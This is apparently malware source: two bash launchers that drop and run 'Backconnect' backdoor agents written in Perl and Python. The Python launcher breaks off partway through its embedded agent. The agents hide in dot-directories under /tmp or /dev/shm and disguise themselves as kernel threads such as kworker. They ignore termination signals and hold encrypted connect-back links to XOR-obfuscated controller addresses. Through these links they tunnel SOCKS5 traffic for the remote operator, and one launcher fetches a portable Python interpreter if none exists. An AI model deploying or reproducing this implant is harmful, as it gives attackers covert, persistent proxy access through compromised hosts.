<!--YbNvCTnq-->

#!/bin/bash
# Backconnect Perl v2.0 - Fixed (original RC4 + v22 features)
N="bcksocks";D=3;PD=""

ENC_DATA="7e4f7d5756474b4d734b48040209794d604550444b467e5057080a1d7c4c625f5746565478535703070663406b4b5247574e7f514a110105634b66504d4b5d5a7a504a0b06077e5960534d405041655c411f0306794367515052564265574c041c0a755762505648514078454a071c01784c7d5c5b5c54417d5f4d0501137e4f7d5756474b4d734b48040509794d604550444b467e5057080a1d7c4c6b5f5746565478535703070663406b4b52475c4e7f514a110105634b66504d4b5d5a7a53490b06077e5960534d405041655c411f03057c4367515052564265574c041c0a755762535148514078454a071c01784c7d5c5b5c5442785f4d0501137e4f7d5756474b4d734b48070609794d604550444b467e5057080a1d7c4f665f5746565478535703070663406b4b5244534e7f514a110105634b66504d4b5d5a7a534e0b06077e5960534d405041655c411f0305754367515052564265574c041c0a755762535a48514078454a071c01784c7d5c5b5c54437b5f4d0501137e4f7d5756474b4d734b48060309794d604550444b467e5057080a1d7c4e615f5746565478535703070663406b4b5245564e7f514a110105634b66504d4b5d5a7a524d0b06077e5960534d405041655c411f0304784367515052564265574c041c0a755762525548514078454a071c01784c7d5c5b5c54437c5f4d0501137e4f7d5756474b4d734b48060a09794d604550444b467e5057080a1d7c4e6a5f5746565478535703070663406b4b524a554e7f514a110105634b66504d4b5d5a7a5d480b06077e5960534d405041655c411f030b7f4367515052564265574c041c0a7557625d5048514078454a071c01784c7d5c5b5c544c7f5f4d0501137b4b7d53535c54477a4b48060a09794d604555404b427b4b4802031d7c4e6a5f574656547d575707021d7c4a624b524a554e7f514a110401634f634b5241545a7a5d480b06077e5965574d44555a7a56481f030b7f436751505253466553491f03007c57625d5048514078454f031c057d576256525c544c7f5f4d0501137b4b7d53535c54477a4b48090709794d604555404b427b4b4802031d7c41655f574656547d575707021d7c4a624b524a524e7f514a110401634f634b5241545a7a5d410b06077e5965574d44555a7a56481f030b74436751505253466553491f03007c57625c5348514078454f031c057d576256525c544d7a5f4d0501137b4b7d53535c54477a4b48080009794d604555404b427b4b4802031d7c40605f574656547d575707021d7c4a624b524b514e7f514a110401634f634b5241545a7a5c4c0b06077e5965574d44555a7a56481f030a7b436751505253466553491f03007c57625c5448514078454f031c057d576256525c544d735f4d0501137b4b7d53535c54477a4b48080b09794d604555404b427b4b4802031d7f49635f574656547d575707021d7c4a624b5142544e7f514a110401634f634b5241545a79554b0b06077e5965574d44555a7a56481f00037e436751505253466553491f03007c5761555748514078454f031c057d576256525c57447e5f4d0501137b4b7d53535c54477a4b4b040109794d60"


find_writable() {
    for d in /tmp /var/tmp /dev/shm /run "$HOME"; do
        [ -d "$d" ] && [ -w "$d" ] && { echo "$d/.$N"; return; }
    done
    echo "./.$N"
}

PD="$(find_writable)"

fp() { 
    # SAFE: only perl processes by interpreter + path, no network search
    pgrep -f "perl.*$PD.*$1.*$2" 2>/dev/null
}

kt() { fp "$1" "$2" | sort -u | xargs -r kill -9 2>/dev/null; sleep 0.3; }

ka(){ 
    # SAFE: only kill perl with our path
    pgrep -f "perl.*$PD" 2>/dev/null | xargs -r kill -9 2>/dev/null
    rm -rf "$PD"
    echo "Done"
    exit 0
}

st(){ 
    echo "Status:"
    [ -d "$PD" ] || { echo " None"; exit 0; }
    for f in "$PD"/*.pid; do 
        [ -f "$f" ] || continue
        p=$(cat "$f")
        n=$(basename "$f" .pid)
        kill -0 "$p" 2>/dev/null && echo " + $n ($p)" || echo " - $n"
    done
    exit 0
}

xc() { 
    local k="$1"
    local d="$2"
    local o="" i=0
    local kl="${#k}"
    [ "$kl" -eq 0 ] && { echo ""; return; }
    while [ $i -lt ${#d} ]; do
        local dc="${d:$i:2}"
        [ ${#dc} -lt 2 ] && break
        local db=$((16#$dc))
        local ki=$((i/2%kl))
        local kb=$(printf '%d' "'${k:$ki:1}")
        local xb=$((db^kb))
        o+=$(printf '%02x' $xb)
        i=$((i+2))
    done
    echo "$o"
}

s2h() { local s="$1" o="" i; for ((i=0;i<${#s};i++)); do o+=$(printf '%02x' "'${s:$i:1}"); done; echo "$o"; }
h2s() { local h="$1" o="" i; for ((i=0;i<${#h};i+=2)); do o+=$(printf "\\x${h:$i:2}"); done; echo -e "$o"; }
enc_srv() { local k="$1"; shift; echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\""; }
dec_srv() { [ -z "$2" ] && return; h2s "$(xc "$1" "$2")"; }

spawn() {
    local host="$1" port="$2" id="$3"
    mkdir -p "$PD" 2>/dev/null
    local pidf="$PD/${id}.pid"
    local plf="$PD/${id}.pl"
    
    cat > "$plf" << 'PERLEND'
#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
use POSIX qw(setsid);

my $host = $ARGV[0] || '127.0.0.1';
my $port = $ARGV[1] || 443;
my $pidf = $ARGV[2] || '';

# Random kernel-like process name
sub get_proc_name {
    my @names = ('kworker','migration','ksoftirqd','watchdog','cpuhp','rcu_sched',
                 'kblockd','kswapd','khugepaged','scsi_eh','bioset','kdmflush');
    my @suffix = ('','/0','/1','/2','/0:0','/0:1','/1:0');
    return $names[rand @names] . $suffix[rand @suffix];
}

# Mask only /proc/self/comm, keep cmdline for pgrep
my $pn = get_proc_name();
eval { if(open(my $fh, '>', '/proc/self/comm')) { print $fh substr($pn,0,15); close($fh); } };

# Daemonize
fork and exit;
setsid();
fork and exit;
open(STDIN, '<', '/dev/null');
open(STDOUT, '>', '/dev/null');
open(STDERR, '>', '/dev/null');

if ($pidf) { open(my $pf, '>', $pidf); print $pf $$; close($pf); }

$SIG{HUP} = $SIG{TERM} = $SIG{INT} = $SIG{PIPE} = 'IGNORE';

my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }

# ORIGINAL RC4 - DO NOT MODIFY!
sub Rc4_crypt {
    my $passw = shift(@_);
    my $length = shift(@_);
    my $buff0 = shift(@_);
    my $start = shift(@_);
    my $sz = shift(@_);
    
    my $rc4 = "\x00" x 256;
    my $pockemon0 = 0;
    my $pockemon1 = 0;
    my $pockemon2 = 0;
    my $pockemon3 = 0;
    my $pockemon4 = 0;
    my $pockemon5 = 0;
    my $pockemon6 = 0;
    my $pockemon7 = 0;
    my $pockemon8 = 0;
    my $rcx = $sz;
    my $rsi = 0;
    my $rbx = 0;
    my $gs = 0;
    my $t = 0;
    
    for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
    
    do {
        substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
        $rsi++; $rbx++; $rcx--;
        if ($rbx == $length) { $rbx = 0; }
    } while($rcx > 0);
    
    while(1) {
        if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; }
        if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } }
        $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
        $t = unpack('C', substr($$passw, $pockemon2, 1));
        $pockemon1 += $t;
        $pockemon1 = $pockemon1 & 255;
        $pockemon1 += $pockemon7;
        $pockemon1 = $pockemon1 & 255;
        $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
        substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
        substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
        $pockemon0++;
        $pockemon0 = $pockemon0 & 255;
        if ($pockemon0 != 0) { $gs = 1; next; }
        $pockemon4 = $sz;
        $pockemon1 = 0;
        $pockemon0 = 0;
        $pockemon2 = 0;
        $pockemon3 = 0;
        while(1) {
            $pockemon2++;
            $pockemon2 = $pockemon2 & 255;
            $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
            $pockemon1 += $pockemon7;
            $pockemon1 = $pockemon1 & 255;
            $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
            substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
            substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
            $pockemon8 += $pockemon7;
            $pockemon8 = $pockemon8 & 255;
            $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
            $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
            $pockemon5 = $pockemon5 ^ $pockemon0;
            substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
            $pockemon3++;
            if (--$pockemon4 == 0) { last; }
        }
        last;
    }
    
    $rsi = 0; $rcx = $sz; $rbx = 0;
    do {
        substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
        $rsi++; $rbx++; $rcx--;
        if ($rbx == $length) { $rbx = 0; }
    } while($rcx > 0);
}

sub synsend {
    my $cSocket = shift(@_);
    my $buffer = shift(@_);
    my $flags = shift(@_);
    open(my $fh, "<", '/dev/null');
    flock($fh, LOCK_EX);
    send($cSocket, $buffer, $flags);
    flock($fh, LOCK_UN);
    close($fh);
}

sub newConnection {
    my $num = shift(@_);
    my $socketarray = shift(@_);
    my $sSocket = shift(@_);
    my $cSocket = shift(@_);
    my $buff0 = shift(@_);
    
    threads->create( sub {
        my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
        my $domain = '';
        my $port = 0;
        my $_ret = 0;
        my $data = '';
        my $buffer = '';
        
        setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
        fcntl($cSocket, F_SETFL, O_NONBLOCK);
        
        if (unpack('C', substr($buff0, 7, 1)) == 3) {
            $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
            $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
        }
        elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
            $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
            $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
        }
        else { goto close_; }
        
        eval {
            my $paddr = sockaddr_in($port, inet_aton($domain));
            connect($cSocket, $paddr);
            vec(my $win = '', fileno($cSocket), 1) = 1;
            unless (select(undef, $win, undef, 10)) { goto close_; }
            fcntl($cSocket, F_SETFL, 0);
            substr($responce, 4, 1) = "\x00";
            $_ret = 1;
        };
        
        close_:
        Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
        Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
        synsend($sSocket, $responce, 0);
        Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
        
        if ($_ret == 1) {
            while ($$socketarray[$num] == 1) {
                vec(my $rin = '', fileno($cSocket), 1) = 1;
                unless (select($rin, undef, undef, 1)) { next; }
                $data = '';
                recv($cSocket, $data, 65530, 0);
                unless ($data) { last; }
                $buffer = pack('C', $num).pack('S', length($data)).$data;
                Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
                Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
                synsend($sSocket, $buffer, 0);
            }
        }
        
        $$socketarray[$num] = 0;
        close($cSocket);
        substr($responce, 1, 2) = "\x00\x00";
        Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
        synsend($sSocket, substr($responce, 0, 3), 0);
        threads->detach();
    });
}

sub bccnct {
    my $h = shift(@_);
    my $p = shift(@_);
    
    my $remaining = 0;
    my $remaining4 = 0;
    my @socketarr;
    my @socketarray :shared;
    my $buffer = "\x00" x 100;
    my $buffernull = "\x00" x 3;
    my $buffer0 = '';
    my $isExit = 0;
    my $ecx = 0;
    my $eax = 0;
    my $data = '';
    my $_ret = 0;
    my $ebx = 0;
    my $edx = 0;
    
    socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
    setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
    
    my $paddr = sockaddr_in($p, inet_aton($h));
    unless(connect($socketarr[0], $paddr)) { goto close0; }
    
    substr($buffer, 0, 50) = $xordata;
    substr($buffer, 50, 2) = "\xFF\xFF";
    substr($buffer, 54, 4) = "Perl";
    
    Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
    send($socketarr[0], $buffer, 0);
    
    while(1) {
        if ($remaining4 != 4) {
            vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
            my $ret = select($rin, undef, undef, 60);
            next if ($ret < 0);
            if ($ret == 0) {
                last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
                last if ($remaining != 0);
                last if ($remaining4 != 0);
                Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
                synsend($socketarr[0], $buffernull, 0);
                $buffernull = "\x00" x 3;
                next;
            }
        }
        
        if ($remaining != 0 || $remaining4 == 4) {
            if ($edx == 0) {
                if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
                    $isExit = 1;
                    last;
                }
                elsif ($ebx < 200 && $ebx > 0) {
                    $socketarray[$ebx] = 0;
                }
            }
            else {
                $ecx = $edx;
                $ecx = $ecx - $remaining;
                $data = '';
                recv($socketarr[0], $data, $ecx, 0);
                unless ($data) { last; }
                $remaining += length($data);
                $buffer0 .= $data;
                if ($edx == $remaining) {
                    Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
                    if (unpack('C', substr($buffer0, 0, 1)) == 0) {
                        socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
                        $socketarray[$ebx] = 1;
                        newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
                    }
                    else {
                        send($socketarr[$ebx], substr($buffer0, 4, $remaining), 0);
                    }
                    $remaining = 0;
                }
            }
            $remaining4 = 0;
        }
        else {
            if ($remaining4 == 0) { $buffer0 = ''; }
            $eax = 4;
            $eax = $eax - $remaining4;
            $data = '';
            recv($socketarr[0], $data, $eax, 0);
            unless ($data) { last; }
            $remaining4 += length($data);
            $buffer0 .= $data;
            $buffernull = "\x00" x 3;
            if ($remaining4 == 4) {
                Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
                $ebx = unpack('C', substr($buffer0, 1, 1));
                $edx = unpack('S', substr($buffer0, 2, 2));
                $_ret = 1;
            }
        }
    }
    
    close0:
    close($socketarr[0]);
    for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
    sleep 10;
    if ($isExit == 1) { exit; }
    return $_ret;
}

while(1) {
    eval { bccnct($host, $port); };
    sleep 10;
}
PERLEND

    chmod +x "$plf"
    perl "$plf" "$host" "$port" "$pidf" &
    sleep 1
    [ -f "$pidf" ] && pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    return 1
}

ir() { fp "$1" "$2" 2>/dev/null | grep -q .; }

SRV=();FORCE=0
case "${1:-}" in
-h|--help)
    echo "Usage: $0 [-f] srv:port..."
    echo "  -e KEY srv:port...  Encrypt"
    echo "  -d KEY [-f]         Decrypt+run"
    echo "  -k / -s             Kill/Status"
    exit 0
    ;;
-k) ka ;;
-s) st ;;
-e)
    [ -z "$2" ] && { echo "Need KEY"; exit 1; }
    K="$2"; shift 2
    [ $# -eq 0 ] && { echo "Need servers"; exit 1; }
    enc_srv "$K" "$@"
    exit 0
    ;;
-d)
    [ -z "$2" ] && { echo "Need KEY"; exit 1; }
    K="$2"; shift 2
    [ "${1:-}" = "-f" ] && { FORCE=1; shift; }
    [ -z "$ENC_DATA" ] && { echo "No encrypted data"; exit 1; }
    DE=$(dec_srv "$K" "$ENC_DATA")
    [ -z "$DE" ] && { echo "Decryption failed"; exit 1; }
    for s in $DE; do [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443"); done
    ;;
-f)
    FORCE=1; shift
    for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done
    ;;
*)
    for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done
    ;;
esac

[ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h"; exit 1; }
command -v perl &>/dev/null || { echo "perl required"; exit 1; }
perl -e 'use threads;' 2>/dev/null || { echo "perl threads required"; exit 1; }

mkdir -p "$PD"; c=0
for s in "${SRV[@]}"; do
    h="${s%:*}"; p="${s#*:}"; id="${h}_${p}"
    c=$((c+1))
    
    if ir "$h" "$p"; then
        if [ "$FORCE" = "1" ]; then
            printf "[$c/${#SRV[@]}] $h:$p replacing... "
            kt "$h" "$p"
        else
            echo "[$c/${#SRV[@]}] $h:$p running (use -f)"
            [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
            continue
        fi
    else
        printf "[$c/${#SRV[@]}] $h:$p "
    fi
    
    spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL"
    [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
done
echo "Done"
#!/bin/bash
# Backconnect Python v26 FINAL - All features + All fixes
# BCPY_MARKER - unique identifier for pgrep isolation
N="bcpy";D=3;PD=""

# Encrypted server data (fill after using -e)
ENC_DATA="545941565b5a435b5d5c5e5b555c5b47544f5c52405d58574b4b574054535e49535b5c445d594350504741575d485e4655555b505d4f5e544b405a5b4b5f575d565a5c5e5a5b5e425644415c5053414a5f415e515a55595656525c584b545a464956574a5f5a585851465c4e56504141525a415d56415c5753485b5a56465c45495d5a514056554c5447585451525c53545941565b5a435b5d5c5e5b5d5c5b47544f5c52405d58574b4b574054535649535b5c445d594350504741575d485e4557555b505d4f5e544b405a5b4b5f575d56595e5e5a5b5e425644415c5053414a5f415e525c55595656525c584b545a464956574a5f595e5851465c4e56504141525a415d56415c5451485b5a56465c45495d5a514056554c54445a5451525c53545941565b5a435b5d5c5e58535c5b47544f5c52405d58574b4b574054505849535b5c445d594350504741575d485e455f555b505d4f5e544b405a5b4b5f575d5659565e5a5b5e425644415c5053414a5f415e535e55595656525c584b545a464956574a5f585c5851465c4e56504141525a415d56415c5557485b5a56465c45495d5a514056554c54455c5451525c53545941565b5a435b5d5c5e59515c5b47544f5c52405d58574b4b574054515a49535b5c445d594350504741575d485e4451555b505d4f5e544b405a5b4b5f575d5658585e5a5b5e425644415c5053414a5f415e535655595656525c584b545a464956574a5f58545851465c4e56504141525a415d56415c5a55485b5a56465c45495d5a514056554c544a5e5451525c53545941565b5a435b5d5c5e56575c5b47544f5c52405d58574b4b5740545e5c49535b5c445d594350504741575d485e4b53555b505d4f5b504b445f4054555e5d5658575e5a5b5e425340415855485e4056415e53575559565652595c4b505f5d565c5e4a5f575d5851465c4e5354414557415e575f415c5a54485b5a5646594149595f4a5f5c5c4c544a5d5451525c53515d41525e415c51545c5e56565c5b47544f595640595d4c54415e40545e5b49535b5c44585d4354555c5e5d54485e4b52555b505d4f5b504b445f4054555e5d5657595e5a5b5e425340415855485e4056415e5c595559565652595c4b505f5d565c5e4a5f57555851465c4e5354414557415e575f415c5a5c485b5a5646594149595f4a5f5c5c4c544b5f5451525c53515d41525e415c51545c5e57545c5b47544f595640595d4c54415e40545f5d49535b5c44585d4354555c5e5d54485e4a54555b505d4f5b504b445f4054555e5d56565b5e5a5b5e425340415855485e4056415e5d5b5559565652595c4b505f5d565c5e4a5f565b5851465c4e5354414557415e575f415c5b52485b5a5646594149595f4a5f5c5c4c544b575451525c53515d41525e415c51545c5e575c5c5b47544f595640595d4c54415e4057565f49535b5c44585d4354555c5e5d54485d4356555b505d4f5b504b445f4054555e5d555f5d5e5a5b5e425340415855485e4056415d545d5559565652595c4b505f5d565c5e4a5c5f595851465c4e5354414557415e575f415f5250485b5a5646594149595f4a5f5c5c4c57475c5451525c"


# ═══════════════════════════════════════════════════════════════════════
#                         HELPER FUNCTIONS
# ═══════════════════════════════════════════════════════════════════════

get_arch() {
    local arch=$(uname -m 2>/dev/null || echo "x86_64")
    case "$arch" in
        x86_64|amd64)     echo "x86_64" ;;
        aarch64|arm64)    echo "aarch64" ;;
        i686|i386|i586)   echo "i686" ;;
        armv7l|armhf)     echo "armv7" ;;
        *)                echo "x86_64" ;;
    esac
}

find_writable() {
    local dirs=(
        "/tmp" "/var/tmp" "/dev/shm" "/run"
        "/run/user/$UID" "/run/user/$(id -u 2>/dev/null)"
        "$HOME" "${TMPDIR:-}" "${TEMP:-}" "${TMP:-}"
        "/usr/tmp" "/var/cache" "." "$PWD" "$(dirname "$0" 2>/dev/null)"
    )
    for d in "${dirs[@]}"; do
        [ -z "$d" ] && continue
        [ ! -d "$d" ] && continue
        local tf="$d/.${N}_test_$$"
        if touch "$tf" 2>/dev/null; then
            rm -f "$tf" 2>/dev/null
            echo "$d/.$N"
            return 0
        fi
    done
    echo ""
    return 1
}

find_downloader() {
    command -v curl &>/dev/null && { echo "curl"; return 0; }
    command -v wget &>/dev/null && { echo "wget"; return 0; }
    return 1
}

download_portable_python() {
    local dest_dir="$1"
    local arch=$(get_arch)
    local dl=$(find_downloader)
    
    [ -z "$dl" ] && return 1
    [ -z "$dest_dir" ] && return 1
    mkdir -p "$dest_dir" 2>/dev/null || return 1
    
    local base_url="https://github.com/indygreg/python-build-standalone/releases/download/20240415"
    local filename=""
    
    case "$arch" in
        x86_64)  filename="cpython-3.11.9+20240415-x86_64-unknown-linux-gnu-install_only.tar.gz" ;;
        aarch64) filename="cpython-3.11.9+20240415-aarch64-unknown-linux-gnu-install_only.tar.gz" ;;
        i686)    filename="cpython-3.11.9+20240415-i686-unknown-linux-gnu-install_only.tar.gz" ;;
        *)       return 1 ;;
    esac
    
    local url="$base_url/$filename"
    local tarball="$dest_dir/python.tar.gz"
    
    echo "Downloading portable Python (~25MB)..." >&2
    if [ "$dl" = "curl" ]; then
        curl -fsSL -o "$tarball" "$url" 2>/dev/null || return 1
    else
        wget -q -O "$tarball" "$url" 2>/dev/null || return 1
    fi
    
    [ ! -f "$tarball" ] && return 1
    local sz=$(stat -c%s "$tarball" 2>/dev/null || stat -f%z "$tarball" 2>/dev/null)
    [ "$sz" -lt 1000000 ] && { rm -f "$tarball"; return 1; }
    
    echo "Extracting..." >&2
    cd "$dest_dir" && tar -xzf "$tarball" 2>/dev/null && rm -f "$tarball"
    
    [ -x "$dest_dir/python/bin/python3" ] && { echo "$dest_dir/python/bin/python3"; return 0; }
    [ -x "$dest_dir/python/bin/python3.11" ] && { echo "$dest_dir/python/bin/python3.11"; return 0; }
    return 1
}

find_python() {
    local pythons=(
        "python3" "python" "python3.12" "python3.11" "python3.10" "python3.9" "python3.8"
        "/usr/bin/python3" "/usr/bin/python"
        "/usr/local/bin/python3" "/usr/local/bin/python"
        "/opt/python3/bin/python3" "/opt/python/bin/python"
        "/bin/python3" "/bin/python"
    )
    
    for p in "${pythons[@]}"; do
        if command -v "$p" &>/dev/null || [ -x "$p" ]; then
            if "$p" -c "import sys; sys.exit(0 if sys.version_info[0]>=3 else 1)" 2>/dev/null; then
                echo "$p"
                return 0
            fi
        fi
    done
    
    # Check already downloaded portable
    [ -n "$PD" ] && [ -x "$PD/python/bin/python3" ] && { echo "$PD/python/bin/python3"; return 0; }
    
    # Try to download portable
    if [ -n "$PD" ]; then
        local portable=$(download_portable_python "$PD")
        [ -n "$portable" ] && [ -x "$portable" ] && { echo "$portable"; return 0; }
    fi
    
    return 1
}

# ═══════════════════════════════════════════════════════════════════════
#                       ENCRYPTION FUNCTIONS
# ═══════════════════════════════════════════════════════════════════════

xc() { 
    local k="$1" d="$2" o="" i=0
    local kl="${#k}"
    [ "$kl" -eq 0 ] && { echo ""; return; }
    while [ $i -lt ${#d} ]; do
        local dc="${d:$i:2}"
        [ ${#dc} -lt 2 ] && break
        local db=$((16#$dc))
        local ki=$((i/2%kl))
        local kb=$(printf '%d' "'${k:$ki:1}")
        local xb=$((db^kb))
        o+=$(printf '%02x' $xb)
        i=$((i+2))
    done
    echo "$o"
}

s2h() { 
    local s="$1" o="" i
    for ((i=0;i<${#s};i++)); do 
        o+=$(printf '%02x' "'${s:$i:1}")
    done
    echo "$o"
}

h2s() { 
    local h="$1" o="" i
    for ((i=0;i<${#h};i+=2)); do 
        o+=$(printf "\\x${h:$i:2}")
    done
    echo -e "$o"
}

enc_srv() { 
    local k="$1"; shift
    echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\""
}

dec_srv() { 
    [ -z "$2" ] && return
    h2s "$(xc "$1" "$2")"
}

# ═══════════════════════════════════════════════════════════════════════
#                      PROCESS MANAGEMENT
# ═══════════════════════════════════════════════════════════════════════

fp() { 
    pgrep -f "BCPY_MARKER.*$1.*$2" 2>/dev/null
}

kt() { 
    local pids=$(fp "$1" "$2")
    [ -z "$pids" ] && return 0
    echo "$pids" | xargs -r kill -15 2>/dev/null
    sleep 0.5
    echo "$pids" | xargs -r kill -9 2>/dev/null
    sleep 0.3
}

ka() { 
    local pids=$(pgrep -f "BCPY_MARKER" 2>/dev/null)
    if [ -n "$pids" ]; then
        echo "$pids" | xargs -r kill -15 2>/dev/null
        sleep 1
        pgrep -f "BCPY_MARKER" 2>/dev/null | xargs -r kill -9 2>/dev/null
    fi
    [ -n "$PD" ] && rm -f "$PD"/*.py "$PD"/*.pid 2>/dev/null
    [ -n "$PD" ] && rmdir "$PD" 2>/dev/null
    echo "All Python clients killed"
    exit 0
}

st() { 
    echo "═══════════════════════════════════════════"
    echo "  Backconnect Python v26 Status"
    echo "═══════════════════════════════════════════"
    echo "  Python:    $PYTHON"
    echo "  Arch:      $(get_arch)"
    echo "  Directory: ${PD:-<none>}"
    echo "  ENC_DATA:  ${ENC_DATA:+SET (${#ENC_DATA} chars)}"
    [ -z "$ENC_DATA" ] && echo "  ENC_DATA:  <empty>"
    echo "───────────────────────────────────────────"
    echo "  Running processes:"
    
    local count=0
    if [ -n "$PD" ] && [ -d "$PD" ]; then
        for f in "$PD"/*.pid; do 
            [ -f "$f" ] || continue
            local p=$(cat "$f" 2>/dev/null)
            local n=$(basename "$f" .pid)
            if [ -n "$p" ] && kill -0 "$p" 2>/dev/null; then
                if grep -q "BCPY_MARKER" /proc/$p/cmdline 2>/dev/null; then
                    echo "    ✓ $n (PID $p)"
                    count=$((count+1))
                fi
            fi
        done
    fi
    [ $count -eq 0 ] && echo "    (none)"
    echo "═══════════════════════════════════════════"
    exit 0
}

ir() { 
    pgrep -f "BCPY_MARKER.*$1.*$2" >/dev/null 2>&1 && return 0
    [ -z "$PD" ] && return 1
    local pidf="$PD/${1}_${2}.pid"
    [ -f "$pidf" ] || return 1
    local p=$(cat "$pidf" 2>/dev/null)
    [ -z "$p" ] && return 1
    kill -0 "$p" 2>/dev/null || return 1
    grep -q "BCPY_MARKER" /proc/$p/cmdline 2>/dev/null
}

# ═══════════════════════════════════════════════════════════════════════
#                         SPAWN FUNCTION
# ═══════════════════════════════════════════════════════════════════════

spawn() {
    local host="$1" port="$2" id="$3"
    
    if [ -z "$PD" ]; then
        echo "No writable directory found"
        return 1
    fi
    
    mkdir -p "$PD" 2>/dev/null
    local pidf="$PD/${id}.pid"
    local pyf="$PD/${id}.py"
    
    cat > "$pyf" << PYEOF
#!/usr/bin/env python3
# BCPY_MARKER - DO NOT REMOVE
import socket,select,threading,random,time,os,sys,signal
try:
    threading.stack_size(131072)
except:pass
def daemonize(pidfile):
    if os.fork()>0:sys.exit(0)
    os.setsid()
    if os.fork()>0:sys.exit(0)
    try:os.chdir("/")
    except:pass
    os.umask(0)
    for fd in range(3,64):
        try:os.close(fd)
        except:pass
    sys.stdin=open("/dev/null","r")
    sys.stdout=open("/dev/null","w")
    sys.stderr=open("/dev/null","w")
    if pidfile:
        try:
            with open(pidfile,"w") as f:f.write(str(os.getpid()))
        except:pass
def mask_process():
    names=["kworker","migration","ksoftirqd","watchdog","rcu_sched","kswapd"]
    suffix=["","/0","/1","/0:0","/0:1"]
    pn=random.choice(names)+random.choice(suffix)
    try:
        import ctypes
        libc=ctypes.CDLL("libc.so.6")
        libc.prctl(15,pn.encode(),0,0,0)
    except:pass
    try:
        with open("/proc/self/comm","wb") as f:f.write(pn.encode()[:15])
    except:pass
H,P="${host}",${port}
PF="${pidf}"
daemonize(PF)
mask_process()
for s in[1,2,13,15]:
    try:signal.signal(s,signal.SIG_IGN)
    except:pass
x=bytearray([random.randint(0,254)for _ in range(50)])
def rc4(p,b,s,z):
    L=len(p)
    for i in range(z):b[s+i]^=p[i%L]
    r=list(range(256));j=0
    for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i]
    i=j=0
    for k in range(z):
        i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i]
        b[s+k]^=r[(r[i]+r[j])&255]
    for i in range(z):b[s+i]^=p[i%L]
SS=None
SL=threading.Lock()
AL=threading.Lock()
sa=[0]*200
sk=[None]*200
wc=0
MAX_WORKERS=200
ALIVE=True
GEN=0
def ssend(d,gen):
    global SS,GEN
    try:
        with SL:
            if SS and gen==GEN:
                SS.settimeout(10)
                try:SS.sendall(d)
                except:return 0
                finally:SS.settimeout(None)
        return 1
    except:return 0
def worker(n,cs,b0,gen):
    global sa,sk,wc,GEN,ALIVE
    r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0])
    ok=0
    try:
        if b0[7]==3:
            dl=b0[8];dom=b0[9:9+dl].decode("latin-1");pt=(b0[9+dl]<<8)|b0[9+dl+1]
        elif b0[7]==1:
            dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13]
        else:raise Exception()
